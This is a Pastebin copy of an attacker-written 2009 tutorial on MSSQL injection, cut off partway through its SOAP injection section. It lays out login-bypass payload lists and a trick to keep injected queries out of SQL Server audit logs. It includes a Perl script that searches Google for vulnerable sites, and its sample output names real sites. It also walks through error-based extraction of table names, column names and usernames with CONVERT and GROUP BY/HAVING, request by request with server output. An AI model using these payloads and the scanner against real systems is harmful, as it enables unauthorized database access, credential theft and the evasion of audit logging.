zerofreak

MsSQL injection by Pwnage

Jan 17th, 2012
888
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 76.86 KB | None | 0 0
  1. |=--------------------------------------------------------------------=|
  2. |=----------------=[ Full MSSQL Injection PWNage ]=-----------------=|
  3. |=-----------------------=[ 28 January 2009 ]=------------------------=|
  4. |=---------------------=[ By CWH Underground ]=---------------------=|
  5. |=--------------------------------------------------------------------=|
  6.  
  7.  
  8. ######
  9. Info
  10. ######
  11.  
  12. Title : Full MSSQL Injection PWNage
  13. Author : ZeQ3uL && JabAv0C
  14. Team : CWH Underground [www.milw0rm.com/author/1456]
  15. Website : cwh.citec.us / www.citec.us
  16. Date : 2009-01-28
  17.  
  18.  
  19. ##########
  20. Contents
  21. ##########
  22.  
  23. [0x00] - Introduction
  24.  
  25. [0x01] - Know the Basic of SQL injection
  26.  
  27. [0x01a] - Introduction to SQL Injection Attack
  28. [0x01b] - How to Test sites that are Vulnerable in SQL Injection
  29. [0x01c] - Bypass Authentication with SQL Injection
  30. [0x01d] - Audit Log Evasion
  31. [0x01e] - (Perl Script) SQL-Google searching vulnerable sites
  32.  
  33. [0x02] - MSSQL Normal SQL Injection Attack
  34.  
  35. [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
  36. [0x02b] - ODBC Error Message Attack with "CONVERT"
  37. [0x02c] - MSSQL Injection with UNION Attack
  38. [0x02d] - MSSQL Injection in Web Services (SOAP Injection)
  39.  
  40. [0x03] - MSSQL Blind SQL Injection Attack
  41.  
  42. [0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
  43. [0x03b] - Determine data through Blind SQL Injection
  44. [0x03c] - Exploit Query for get Table name
  45. [0x03d] - Exploit Query for get Column name
  46.  
  47. [0x04] - More Dangerous SQL Injection Attack
  48.  
  49. [0x04a] - Dangerous from Extended Stored Procedures
  50. [0x04b] - Advanced SQL Injection Techniques
  51. [0x04c] - Mass MSSQL Injection Worms
  52.  
  53. [0x05] - MSSQL Injection Cheat Sheet
  54.  
  55. [0x06] - SQL Injection Countermeasures
  56.  
  57. [0x07] - References
  58.  
  59. [0x08] - Greetz To
  60.  
  61.  
  62. #######################
  63. [0x00] - Introduction
  64. #######################
  65.  
  66. Welcome reader, this paper is a short attempt at documenting a practical technique
  67. we have been working on. This papers will guide about technique that allows the attackers
  68. (us) gaining access into the process of exploiting a website via SQL Injection Techniques
  69. that we focused on MSSQL only
  70.  
  71. This paper is divided into 8 sections but only from section 0x01 to 0x06
  72. are about technical information.
  73.  
  74. Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities which
  75. are classified into two types, normal and blind. Section 0x02, we give a detail of each way
  76. attacking through SQL injection. Section 0x03, we explain the way to enumerate data through
  77. blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur
  78. through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes.
  79. Section 0x06, we offer some tips in order to prevent the system from SQL injection attack.
  80.  
  81.  
  82. ##########################################
  83. [0x01] - Know the Basic of SQL injection
  84. ##########################################
  85.  
  86. SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL
  87. (Structured Query Language) commands. Typically executed through the web application front end (use interface,
  88. form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized
  89. execution of SQL commands on the database server.
  90.  
  91.  
  92. ++++++++++++++++++++++++++++++++++++++++++++++++
  93. [0x01a] - Introduction to SQL Injection Attack
  94. ++++++++++++++++++++++++++++++++++++++++++++++++
  95.  
  96. SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query
  97. in order to alter the outcome of the query. Take the example of an application that requests a user id
  98. for authentication. The application adds this user ID to a predefined SQL query to perform authentication.
  99.  
  100. However, if instead of providing a valid user name the attacker inputs a specialized SQL command
  101. that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this
  102. way the attacker can execute any SQL command on the host system without even needing to log in.
  103.  
  104. A successful SQL injection exploit can read sensitive data from the database, modify database data
  105. (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover
  106. the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.
  107.  
  108. An application is vulnerable to SQL injection attack when:
  109. - User input is incorrectly filtered for string literal escape characters embedded in SQL statements.
  110. - User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute
  111. in an unexpected manner
  112.  
  113. SQL Injection always occur in application that needs to talk to a Database include:
  114. - Authentication forms (Login Pages)
  115. - Search forms
  116. - E-Commerce sites
  117. - Forum / Webboard
  118. - Content Manage System (CMS's that use DB),Such as:
  119. Joomla Components (http://www.milw0rm.com/search.php?dong=joomla)
  120. Mambo Components (http://www.milw0rm.com/search.php?dong=mambo)
  121. Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress)
  122.  
  123.  
  124. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  125. [0x01b] - How to Test sites that are vulnerable in SQL Injection
  126. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  127.  
  128. We must make a list of all input fields whose values could be used in crafting a SQL query,
  129. including the hidden fields of POST requests and then test them separately, trying to interfere with
  130. the query and to generate an error. The very first test usually consists of adding a single quote (')
  131. , double quote ("") or a semicolon (;) to the field under test.
  132.  
  133. [Simple URL] http://www.example.com/news.asp?id=10
  134. [Test SQLi] http://www.example.com/news.asp?id=10'
  135.  
  136. It's vulnerable in SQL injection,If the output some error like this:
  137.  
  138. [HTTP Response]-----------------------------------------------------------------------------
  139. Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  140. [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
  141. character string ''.
  142. /news.asp, line 52
  143. [End HTTP Response]-------------------------------------------------------------------------
  144.  
  145. Next solution, Use "OR/AND" Operation for testing SQL injection vulnerability:
  146.  
  147. If contains is the different as original URL that dump all data
  148. from database, It's vulnerable in SQL injection.
  149.  
  150. [Simple URL] http://www.example.com/news.asp?id=2
  151.  
  152. [output]------------------------------------------------------------------------------------
  153. News: 2
  154. Details: Preventing blind SQL injection attacks, Most security professionals know ...
  155. [End Output]--------------------------------------------------------------------------------
  156.  
  157.  
  158. [Test SQLi] http://www.example.com/news.asp?id=2' or '1'='1
  159.  
  160. [output]------------------------------------------------------------------------------------
  161. News: 1
  162. Details: SQL injection attack infects hundreds of thousands of websites ...
  163.  
  164. News: 2
  165. Details: Preventing blind SQL injection attacks, Most security professionals know ...
  166.  
  167. News: 3
  168. Details: Mass SQL injection, There's another round of mass SQL injections going on which has infected ...
  169.  
  170. News: 4
  171. Details: New Botnet Malware Spreading SQL injection attack tool ...
  172. [End Output]--------------------------------------------------------------------------------
  173.  
  174. That's Great !! Can you see something different from original URL ? (It's Vuln in SQL Injection Attacks),
  175. It's return all query from DB, Why ??
  176.  
  177. [ASP_code]
  178. var sql = "SELECT * FROM news WHERE id = '" + getid +"'";
  179. [End ASP_code]
  180.  
  181. [Final query //id=2]
  182. SELECT * FROM news WHERE id = '2' // It's will return News 2
  183. [End id=2]
  184.  
  185. [Final query //id=2' or 'a'='a] // Testing SQLi Vuln
  186. SELECT * FROM news WHERE id = '2' or 'a'='a' // It's include ' or 'a'='a into SQL statement and the condition is TRUE,
  187. // So It will return all news (id=1,2,3,...)
  188. [End id=2' or 'a'='a]
  189.  
  190.  
  191.  
  192. ++++++++++++++++++++++++++++++++++++++++++++++++++++
  193. [0x01c] - Bypass Authentication with SQL Injection
  194. ++++++++++++++++++++++++++++++++++++++++++++++++++++
  195.  
  196. This basic technique for "bypass Login" when application use DB to checking authentication.
  197. However, an attacker may possibly bypass this check with SQL injection.
  198.  
  199. [Example scripts]
  200.  
  201. +-----------------------------+
  202. | ' or 1=1 -- |
  203. | a' or 1=1 -- |
  204. | " or 1=1 -- |
  205. | a" or 1=1 -- |
  206. | ' or 1=1 # |
  207. | " or 1=1 # |
  208. | or 1=1 -- |
  209. | ' or 'x'='x |
  210. | " or "x"="x |
  211. | ') or ('x'='x |
  212. | ") or ("x"="x |
  213. | ' or username LIKE '%admin% |
  214. +-----------------------------+
  215. | USERNAME: ' or 1/* |
  216. | PASSWORD: */ =1 -- |
  217. +-----------------------------+
  218. | USERNAME: admin' or 'a'='a |
  219. | PASSWORD: '# |
  220. +-----------------------------+
  221.  
  222. [Login ASP_code]----------------------------------------------------------------------------
  223. var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'";
  224. [End Login ASP_code]------------------------------------------------------------------------
  225.  
  226. When we input something like this:
  227. formusr = admin
  228. formpwd = ' or 'a='a
  229.  
  230. [SQL Query]---------------------------------------------------------------------------------
  231. SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'
  232. [End Code]----------------------------------------------------------------------------------
  233.  
  234. This SQL condition is TRUE and bypass login process, So you don't need admin's password. (Just use ' or 'a'='a)
  235.  
  236. If we input something like this
  237. formusr = ' or 1=1 --
  238. formpwd = anything
  239.  
  240. [SQL Query]---------------------------------------------------------------------------------
  241. SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
  242. [End Code]----------------------------------------------------------------------------------
  243.  
  244. ** Note **
  245.  
  246. -- is comment operator of MSSQL DB used to comment out everything following this operator.
  247. /*Comment*/ Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting.
  248.  
  249. DROP/*comment*/sampletable
  250. DR/**/OP/*bypass blacklisting*/sampletable
  251. SELECT/*avoid-spaces*/password/**/FROM/**/Members
  252.  
  253.  
  254. If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then
  255. you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash
  256. of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
  257.  
  258. formusr = admin
  259. formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72
  260.  
  261. 1a1dc91c907325c69271ddf0c944bc72 = MD(pass)
  262.  
  263. +++++++++++++++++++++++++++++
  264. [0x01d] - Audit Log Evasion
  265. +++++++++++++++++++++++++++++
  266.  
  267. When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know what's happen ?
  268. The technique for evade logging, We use "sp_password"
  269.  
  270. formusr = ' or 1=1 -- sp_password
  271. formpwd = anything
  272.  
  273. SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries
  274. it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible).
  275.  
  276. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  277. [0x01e] - (Perl Script) SQL-Google searching vulnerable sites
  278. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  279.  
  280. The Good way to searching sites that have SQL injection vulnerability is "Google"
  281. (That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for
  282. searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name "SQL-Google Search":
  283.  
  284. [code]-----------------------------------------------------------------------------------
  285.  
  286. #!/usr/bin/perl
  287. use LWP::Simple;
  288. use LWP::UserAgent;
  289. use HTTP::Request;
  290. my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
  291. print "+++++++++++++++++++++++++++++++\n";
  292. print "+ SQL - Google Search +\n";
  293. print "+ CWH Underground +\n";
  294. print "+++++++++++++++++++++++++++++++\n\n";
  295. print "Insert Dork:";
  296. chomp( my $dork = <STDIN> );
  297. print "Total Query Pages (10 Links/Pages) :";
  298. chomp( my $page = <STDIN> );
  299. print "\n[+] Result:\n\n";
  300. for($start = 0;$start != $page*10;$start += 10)
  301. {
  302. $t = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$start;
  303. $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  304. $ua->timeout(10);
  305. $ua->env_proxy;
  306. $response = $ua->get($t);
  307. if ($response->is_success)
  308. {
  309. $c = $response->content;
  310. @stuff = split(/<a href=/,$c);
  311. foreach $line(@stuff)
  312. {
  313. if($line =~/(.*) class=l/ig)
  314. {
  315. $out = $1;
  316. $out =~ s/\"//g;
  317. $out =~s/$/\'/;
  318. $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  319. $ua->timeout(10);
  320. $ua->env_proxy;
  321. $response = $ua->get($out);
  322. $error = $response->content();
  323. if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
  324. {print "$out => Could be Vulnerable in MySQL Injection!!\n";}
  325. elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
  326. {print "$out => Could be Vulnerable in MS Access Injection!!\n";}
  327. elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
  328. {print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
  329. elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
  330. {print "$out => Could be Vulnerable in Oracle Injection!!\n";}
  331. }
  332. }
  333. }
  334. }
  335.  
  336. [End code]----------------------------------------------------------------------------------
  337.  
  338. [output]------------------------------------------------------------------------------------
  339.  
  340. +++++++++++++++++++++++++++++++
  341. + SQL - Google Search +
  342. + CWH Underground +
  343. +++++++++++++++++++++++++++++++
  344.  
  345. Insert Dork:index.asp?sid=
  346. Total Query Pages (10 Links/Pages) :5
  347.  
  348. [+] Result:
  349.  
  350. http://www.ris.org.uk/index.asp?sid=7&mid=5' => Could be Vulnerable in MSSQL Injection!!
  351. http://www.waterbucket.ca/rm/index.asp?type=single&sid=44&id=307' => Could be Vulnerable in MSSQL Injection!!
  352. http://www.ilri.org/research/Index.asp?SID=4' => Could be Vulnerable in MSSQL Injection!!
  353.  
  354. [End output]--------------------------------------------------------------------------------
  355.  
  356.  
  357. ############################################
  358. [0x02] - MSSQL Normal SQL Injection Attack
  359. ############################################
  360.  
  361. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  362. [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
  363. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  364.  
  365. We can use information from error message produced by the MS SQL Server to get almost any data we want.
  366.  
  367. - "GROUP BY" is a microsoft sql server command used to group output of particular sql query.
  368. - "HAVING" is a command used to specify a search condition for a group or an aggregate.
  369. this command is always used with "GROUP BY" otherwise the error will return.
  370.  
  371. As the operation of these two commands, we can take advantage of them in order to
  372. obtain particular table name and all column names of this table. We will explain you by using an example.
  373.  
  374. First, The target has a table called "news" and in news, there are three columns, which are news_id, news_author and news_detail.
  375.  
  376. The vulnerable page is http://www.example.com/page.asp?id=1
  377. The query in this page is something like
  378.  
  379. [Query]-----------------------------------------------------------------------------
  380. var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";
  381. [End query]-------------------------------------------------------------------------
  382.  
  383. So, we can inject HAVING command in order to observe returned error
  384.  
  385. [SQLi]------------------------------------------------------------------------------
  386. http://www.example.com/page.asp?id=1' HAVING 1=1--
  387. [End SQLi]--------------------------------------------------------------------------
  388.  
  389. The query will be
  390.  
  391. SELECT * FROM news WHERE news_id='1' HAVING 1=1--'
  392.  
  393. We will get the error as following:
  394.  
  395. ------------------------------------------------------------------------------------
  396. Microsoft OLE DB Provider for SQL Server error '80040e14'
  397. [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in
  398. the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
  399. ------------------------------------------------------------------------------------
  400.  
  401. In this error, we know table name = "news", used in this page and
  402. one column name = "news_id", contained in particular table.
  403.  
  404. The error is originate from using HAVING command without GROUP BY command.
  405. Moreover, we can get the other column names by using combination of GROUP BY and HAVING command.
  406.  
  407. [SQLi]------------------------------------------------------------------------------
  408. http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--
  409. [End SQLi]--------------------------------------------------------------------------
  410.  
  411. The query will be
  412.  
  413. SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--'
  414.  
  415. We will get the error
  416.  
  417. ------------------------------------------------------------------------------------
  418. Microsoft OLE DB Provider for SQL Server error '80040e14'
  419. [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in
  420. the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
  421. ------------------------------------------------------------------------------------
  422.  
  423. Now, we know the second column name of table1 = "news_author". The third column name can be obtained
  424. by adding the second column name in the previous query
  425.  
  426. [SQLi]------------------------------------------------------------------------------
  427. http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--
  428. [End SQLi]--------------------------------------------------------------------------
  429.  
  430. The query will be
  431.  
  432. SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--'
  433.  
  434. The request will generate following error
  435.  
  436. ------------------------------------------------------------------------------------
  437. Microsoft OLE DB Provider for SQL Server error '80040e14'
  438. [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in
  439. the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
  440. ------------------------------------------------------------------------------------
  441.  
  442. The third column name = "news_detail", pops up in returned error. If we had more columns,
  443. we could add news_detail in GROUP BY clause of previous request then we could get the forth column name.
  444.  
  445. When we added all of column in GROUP BY clause, we will get normal result and
  446. we absolutely know that we obtained all column name in table1.
  447.  
  448. As this example, the request below will generate no error.
  449.  
  450. [SQLi]------------------------------------------------------------------------------
  451. http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--
  452. [End SQLi]--------------------------------------------------------------------------
  453.  
  454. The query will be
  455.  
  456. SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--'
  457.  
  458. As no error return, we know that table1 consists of three columns which are "news_id", "news_author" and "news_detail".
  459.  
  460.  
  461. ++++++++++++++++++++++++++++++++++++++++++++++++++++
  462. [0x02b] - ODBC Error Message Attack with "CONVERT"
  463. ++++++++++++++++++++++++++++++++++++++++++++++++++++
  464.  
  465. In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their application meanwhile
  466. it is valuable for many attackers, as seeing in previous section.
  467.  
  468. In this section, we provide another method of utilizing from MSSQL error through a command called "convert".
  469. convert command is used to convert between two data type and when the specific data cannot convert to another type,
  470. this command will return error. let see through an example:
  471.  
  472. In this example, we show you how to obtain MSSQL_Version, DB_name, User_name.
  473.  
  474. [SQLi]------------------------------------------------------------------------------
  475. http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)--
  476. [End SQLi]--------------------------------------------------------------------------
  477.  
  478. Error Message returned:
  479.  
  480. ------------------------------------------------------------------------------------
  481. Microsoft SQL Native Client error '80040e07'
  482. Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007
  483. 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
  484. ' to data type int.
  485. /page.asp, line 9
  486. ------------------------------------------------------------------------------------
  487.  
  488. Now, We know the version of MSSQL and OS (Windows 2003 Server), Let's go to enumerate DB_name.
  489.  
  490. [SQLi]------------------------------------------------------------------------------
  491. http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())--
  492. [End SQLi]--------------------------------------------------------------------------
  493.  
  494. Error Message returned:
  495.  
  496. ------------------------------------------------------------------------------------
  497. Microsoft SQL Native Client error '80040e07'
  498. Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
  499. /page.asp, line 9
  500. ------------------------------------------------------------------------------------
  501.  
  502. We can know the Database name = "cwhdb", Next is query for get current user that run DB.
  503.  
  504. [SQLi]------------------------------------------------------------------------------
  505. http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())--
  506. [End SQLi]--------------------------------------------------------------------------
  507.  
  508. Error Message returned:
  509.  
  510. ------------------------------------------------------------------------------------
  511. Microsoft SQL Native Client error '80040e07'
  512. Conversion failed when converting the nvarchar value 'sa' to data type int.
  513. /showthread.asp, line 9
  514. ------------------------------------------------------------------------------------
  515.  
  516. W00t!! W00t!!, It use "sa" privileges lol. This information can help us that we can use extended
  517. stored procedure "XP_CMDSHELL" to run arbitrary command executes.
  518.  
  519.  
  520. In next example, we show you how to obtain table names, column names and data.
  521.  
  522. Take a look at our First request
  523.  
  524. [SQLi]------------------------------------------------------------------------------
  525. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--
  526. [End SQLi]--------------------------------------------------------------------------
  527.  
  528. "information_schema.tables" stores information about tables in databases and there is a field called "table_name"
  529. which stores names of each table. The result of this request is something like this:
  530.  
  531. ------------------------------------------------------------------------------------
  532. Microsoft SQL Native Client error '80040e07'
  533. Conversion failed when converting the nvarchar value 'threads' to data type int.
  534. /page.asp, line 9
  535. ------------------------------------------------------------------------------------
  536.  
  537. From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type, the error is returned.
  538. Therefore, we know the first table = "threads", from this error. The next step is looking for the second table.
  539. We only put WHERE clause append the query in above request.
  540.  
  541. [SQLi]------------------------------------------------------------------------------
  542. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+
  543. not+in+('threads')))--
  544. [End SQLi]--------------------------------------------------------------------------
  545.  
  546. We will get an error like this:
  547.  
  548. ------------------------------------------------------------------------------------
  549. Microsoft SQL Native Client error '80040e07'
  550. Conversion failed when converting the nvarchar value 'users' to data type int.
  551. /page.asp, line 9
  552. ------------------------------------------------------------------------------------
  553.  
  554. Again, we know the second table = "users", from the error. If we want another table, we just append our known table list. for example,
  555.  
  556. [SQLi]------------------------------------------------------------------------------
  557. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+
  558. not+in+('threads','users')))--
  559. [End SQLi]--------------------------------------------------------------------------
  560.  
  561. And we will get an error:
  562.  
  563. ------------------------------------------------------------------------------------
  564. Microsoft SQL Native Client error '80040e07'
  565. Conversion failed when converting the nvarchar value 'forums' to data type int.
  566. /page.asp, line 9
  567. ------------------------------------------------------------------------------------
  568.  
  569. This means the third table = "forums". On the other hand, if the previous request return something like this.
  570.  
  571. ------------------------------------------------------------------------------------
  572. ADODB.Field error '800a0bcd'
  573. Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
  574. /page.asp, line 10
  575. ------------------------------------------------------------------------------------
  576.  
  577. It means this database consists of only two tables, threads and users.
  578.  
  579. OK, now, we already get all tables. The next target is column names.
  580. The method to retrieve column names is not much different from getting table names.
  581. We merely change from "information_schema.tables" to "information_schema.columns" and from "table_name" to "column_name"
  582. but we have to add "table_name" in WHERE cluase in order to specify the table which we will pull column names from.
  583.  
  584. Don't talk too much, let see an example
  585.  
  586. [SQLi]------------------------------------------------------------------------------
  587. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--
  588. [End SQLi]--------------------------------------------------------------------------
  589.  
  590. From this request, we get an following error
  591.  
  592. ------------------------------------------------------------------------------------
  593. Microsoft SQL Native Client error '80040e07'
  594. Conversion failed when converting the nvarchar value 'uname' to data type int.
  595. /showthread.asp, line 9
  596. ------------------------------------------------------------------------------------
  597.  
  598. As the same approach of getting table names, we abruptly know that the first column of table 'users' is "uname".
  599. For another column name, we add a bit in WHERE clause.
  600.  
  601. [SQLi]------------------------------------------------------------------------------
  602. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+
  603. and+column_name+not+in+('uname')))--
  604. [End SQLi]--------------------------------------------------------------------------
  605.  
  606. We will get an below error.
  607.  
  608. ------------------------------------------------------------------------------------
  609. Microsoft SQL Native Client error '80040e07'
  610. Conversion failed when converting the nvarchar value 'upass' to data type int.
  611. /showthread.asp, line 9
  612. ------------------------------------------------------------------------------------
  613.  
  614. Absolutely we know the second column = "upass", of table 'users'. For getting more column names,
  615. we only append a known table list like that in getting table names. For example,
  616.  
  617. [SQLi]------------------------------------------------------------------------------
  618. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+
  619. and+column_name+not+in+('uname','upass')))--
  620. [End SQLi]--------------------------------------------------------------------------
  621.  
  622. The Error message:
  623.  
  624. ------------------------------------------------------------------------------------
  625. Microsoft SQL Native Client error '80040e07'
  626. Conversion failed when converting the nvarchar value 'email' to data type int.
  627. /showthread.asp, line 9
  628. ------------------------------------------------------------------------------------
  629.  
  630. So, the third column is "email". but if the error is
  631.  
  632. ------------------------------------------------------------------------------------
  633. ADODB.Field error '800a0bcd'
  634. Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
  635. /page.asp, line 10
  636. ------------------------------------------------------------------------------------
  637.  
  638. This means no more column left. Next is the real target which attackers want, the data.
  639. If take a look carefully, we will see that the idea is not different from getting table and column.
  640. Use the same manner but change only table and column name.
  641.  
  642. If we want uname data in table users, we can do like this:
  643.  
  644. [SQLi]------------------------------------------------------------------------------
  645. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))--
  646. [End SQLi]--------------------------------------------------------------------------
  647.  
  648. We will see uname in returned error.
  649.  
  650. ------------------------------------------------------------------------------------
  651. Microsoft SQL Native Client error '80040e07'
  652. Conversion failed when converting the nvarchar value 'admin' to data type int.
  653. /page.asp, line 9
  654. ------------------------------------------------------------------------------------
  655.  
  656. Now, we know that there is 'admin' in column 'uname' of table 'users'. For another uname,
  657. we just create a known table list as table and column.
  658.  
  659. [SQLi]------------------------------------------------------------------------------
  660. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--
  661. [End SQLi]--------------------------------------------------------------------------
  662.  
  663. Error again:
  664.  
  665. ------------------------------------------------------------------------------------
  666. Microsoft SQL Native Client error '80040e07'
  667. Conversion failed when converting the nvarchar value 'cwh' to data type int.
  668. /page.asp, line 9
  669. ------------------------------------------------------------------------------------
  670.  
  671. OK, we get another "uname" which is 'cwh'. If we try following request.
  672.  
  673. [SQLi]------------------------------------------------------------------------------
  674. http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--
  675. [End SQLi]--------------------------------------------------------------------------
  676.  
  677. And we get an error like this
  678.  
  679. ------------------------------------------------------------------------------------
  680. ADODB.Field error '800a0bcd'
  681. Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
  682. /showthread.asp, line 10
  683. ------------------------------------------------------------------------------------
  684.  
  685. It means there are only two uname in users table (admin,cwh).
  686.  
  687.  
  688. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  689. [0x02d] - MSSQL Injection in Web Services (SOAP Injection)
  690. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  691.  
  692. Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise.
  693. In such systems, there is often a machine-readable description of the operations offered by the service written in the
  694. Web Services Description Language (WSDL).
  695. SOAP is often used in large-scale enterprise applications where individual tasks are performed by different computers to
  696. improve performance. It's often found where web application that deployed as a front-end to an existing application.
  697.  
  698. Let's take a look for SOAP request like this:
  699.  
  700. [SOAP Request]------------------------------------------------------------------------------
  701.  
  702. POST /webservice/service.asmx HTTP/1.0
  703. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
  704. Content-Type: text/xml; charset=utf-8
  705. SOAPAction: "http://tempuri.org/GetUserInfo"
  706. Host: testcwh.cwh.net
  707. Content-Length: 345
  708. Expect: 100-continue
  709. Connection: Keep-Alive
  710.  
  711. <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  712. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
  713. <GetUserInfo xmlns="http://tempuri.org/"><username>admin</username><password>1234</password></GetUserInfo></soap:Body></soap:Envelope>
  714.  
  715. [End Request]-------------------------------------------------------------------------------
  716.  
  717. Can you see username(admin) and password(1234) that send to Server side ?
  718.  
  719. What's happen if we injection (') single quote to username field like this: <username>admin'</username><password>1234</password>
  720. before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP respond.
  721.  
  722. [SOAP Respond When we inject single quote]--------------------------------------------------
  723.  
  724. HTTP/1.1 200 OK
  725. Date: Mon, 26 Jan 2009 15:45:27 GMT
  726. Server: Microsoft-IIS/6.0
  727. X-Powered-By: ASP.NET
  728. X-AspNet-Version: 2.0.50727
  729. Cache-Control: private, max-age=0
  730. Content-Type: text/xml; charset=utf-8
  731. Content-Length: 1057
  732. Connection: close
  733. X-Junk: xxxxxxxxxxx
  734.  
  735. <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  736. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
  737. <GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
  738. System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''.
  739. Incorrect syntax near '81'.
  740. at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
  741. at System.Data.OleDb.OleDbDataReader.NextResult()
  742. at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
  743. at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
  744. at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin''
